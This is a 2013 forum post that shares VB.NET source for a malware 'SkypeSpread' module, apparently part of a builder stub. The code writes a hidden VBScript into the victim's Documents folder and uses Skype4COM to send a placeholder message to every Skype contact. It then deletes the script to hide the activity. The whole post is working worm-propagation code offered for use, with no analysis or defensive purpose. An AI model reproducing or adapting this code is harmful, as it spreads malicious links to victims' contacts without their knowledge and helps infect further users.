ka0z Posted February 16, 2013 Report Posted February 16, 2013 Sub SkypeSpread() If "%SKYPE%" = "True" Then Try Dim g As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\s4c.vbs") g.BaseStream.Seek(0, SeekOrigin.End) g.WriteLine("on error resume next") g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")") g.WriteLine("Fruxr.Client.Start()") g.WriteLine("Fruxr.Attach()") g.WriteLine("For Each KZN In Fruxr.Friends") g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""") g.WriteLine("next") g.Close() Dim p As New Process Dim ProcessProperties As New ProcessStartInfo ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\s4c.vbs" Dim myProcess As Process = Process.Start(ProcessProperties) myProcess.WaitForExit() Threading.Thread.Sleep(5000) IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\s4c.vbs") Catch ex As Exception MsgBox(ex.ToString) End Try End If End SubCredits: 176.31.115.28Coder: Some young kid Quote